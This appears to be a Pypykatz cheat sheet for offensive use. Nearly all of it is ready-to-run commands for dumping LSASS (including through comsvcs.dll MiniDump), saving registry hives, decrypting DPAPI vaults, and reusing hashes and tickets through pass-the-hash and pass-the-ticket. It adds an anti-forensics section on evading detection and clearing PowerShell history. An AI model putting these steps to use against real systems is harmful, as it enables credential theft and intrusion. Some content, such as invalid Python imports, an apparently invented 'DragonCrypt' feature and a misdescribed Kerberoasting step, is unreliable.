Pypykatz

Pypykatz is a pure Python implementation of Mimikatz for credential extraction without launching the actual Mimikatz binary, enabling better AV evasion.

Installation

# Install via pip
pip install pypykatz

# Or clone and install
git clone https://github.com/skelsec/pypykatz.git
cd pypykatz
pip install -e .

# Verify installation
pypykatz --version

Basic Usage

Command	Description
`pypykatz live lsa`	Dump LSASS from live system
`pypykatz lsa minidump file.dmp`	Parse minidump file
`pypykatz registry -r hive_file`	Parse registry hive
`pypykatz dpapi -m masterkey file`	Decrypt DPAPI
`pypykatz --help`	Display help menu

LSASS Credential Extraction

Live LSASS Dumping

# Dump from live LSASS process (requires admin)
pypykatz live lsa

# Output includes:
# - NTLM hashes
# - Plaintext passwords
# - Kerberos tickets
# - Session keys
# - SSP credentials (Digest, NTLM, Kerberos)

Minidump Parsing

# Create minidump (using procexp, ProcDump, or WER)
tasklist | findstr lsass
# PID: 600

# Generate minidump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 600 C:\path\minidump.dmp full

# Parse with pypykatz
pypykatz lsa minidump C:\path\minidump.dmp

# Output: credentials in plaintext or hash format

Registry Hive Parsing

SAM and SYSTEM Hive

# Export hives (requires admin)
reg save HKLM\SAM C:\sam
reg save HKLM\SYSTEM C:\system

# Parse with pypykatz
pypykatz registry -r C:\sam C:\system

# Outputs NTLM hashes for all users

Security Hive Parsing

# Export SECURITY hive
reg save HKLM\SECURITY C:\security

# Extract cached domain credentials
pypykatz registry -r C:\security

DPAPI Decryption

Masterkey Extraction

# Locate masterkey files
# Typically: C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>

# Extract with pypykatz
pypykatz dpapi masterkey -password "UserPassword" -masterkey_file "masterkey_path"

# Returns decrypted masterkey for further credential decryption

DPAPI Blob Decryption

# Decrypt credentials vault
pypykatz dpapi vault -password "UserPassword" -vault_file "vault_file"

# Can extract:
# - Saved website credentials (Internet Explorer, Chrome)
# - RDP credentials
# - VPN credentials

Kerberos Ticket Extraction

Live Ticket Extraction

# Extract Kerberos tickets from LSASS
pypykatz live lsa

# Output includes:
# - TGT (Ticket Granting Ticket)
# - Service tickets
# - Ticket timestamps
# - Session keys

Ticket Reuse (Pass-the-Ticket)

# Export tickets in Mimikatz format
pypykatz live lsa --output-format kirbi

# Use with Rubeus or Mimikatz
Rubeus.exe ptt /ticket:ticket.kirbi

Credential Formats

NTLM Hash Format

Username:RID:LMHash:NTHash
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

Plaintext Passwords

Domain\Username:Password
DOMAIN\admin:P@ssw0rd123

Kerberos Tickets

[*] Credential: <domain>\<username>@<realm>
    CredentialType: Kerberos
    CredentialInfo:
        Ticket: <base64-encoded-ticket>

Advanced Usage

JSON Output

# Output credentials in JSON format
pypykatz live lsa --output-format json > creds.json

# Parse JSON for further processing
cat creds.json | jq '.credentials[]'

Minidump with DragonCrypt (Encrypted LSASS)

# Some Windows versions encrypt LSASS in memory
# Pypykatz handles both encrypted and unencrypted dumps

# Create minidump and parse normally
pypykatz lsa minidump dump.dmp

Multiple Dump Analysis

# Parse multiple minidumps and consolidate results
for dump in *.dmp; do
    pypykatz lsa minidump "$dump" >> all_creds.txt
done

Operational Security Considerations

Avoiding Detection

# Load pypykatz without disk artifacts
powershell -NoProfile -ExecutionPolicy Bypass "& {$env:PYTHONIOENCODING='utf-8'; python3 -m pypykatz live lsa}"

# Obfuscate process name
# Use Process Hacker to rename python.exe process

# Clear PowerShell history
Clear-History
Remove-Item (Get-PSReadlineOption).HistorySavePath

Credential Handling

# Parse output safely
import pypykatz.lsass.lsass_processmemoryreader import LsassProcessMemoryReader
import pypykatz.dpapi.dpapi import DPAPI

# Decrypt credentials in memory
# Never write plaintext to disk
# Wipe sensitive data from memory

Exploitation Examples

NTLM Relay Attack Chain

# 1. Dump NTLM hashes with pypykatz
pypykatz live lsa | grep "NTLM"

# 2. Use hashes in NTLM relay attack
# responder -I eth0
# ntlmrelayx.py -t <target>

# 3. Harvest credentials

Kerberoasting

# 1. Extract Kerberos tickets
pypykatz live lsa --output-format kirbi

# 2. Crack service tickets
hashcat -m 13100 tickets.txt wordlist.txt

Pass-the-Hash

# 1. Extract NTLM hash
pypykatz live lsa | grep NTHash

# 2. Use with PtH tools
psexec.py -hashes ":hash" domain/user@target cmd.exe

Limitations

Requires local admin for live LSASS access
Minidump must be created with sufficient privileges
Some encryption methods (like Virtual Secure Mode) may prevent decryption
Registry hives require offline access for SAM/SYSTEM
DPAPI decryption requires user password or masterkey

Alternatives and Alternatives

Mimikatz: Original credential extraction tool
Rubeus: Kerberos-focused credential extraction
Secretsdump: Credential dumping via remote registry
Get-GPPPassword: Group Policy Preferences password extraction
LaZagne: Password recovery from various applications

Credential Dumping Checklist

# Comprehensive credential extraction:
# 1. LSASS dump
pypykatz live lsa

# 2. Registry hives
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM sys.hive
pypykatz registry -r sam.hive sys.hive

# 3. DPAPI credentials
pypykatz dpapi vault ...

# 4. Kerberos tickets
pypykatz live lsa (check Kerberos section)

# 5. Consolidate and crack
hashcat -m 1000 hashes.txt wordlist.txt

Last updated: March 2025 | GitHub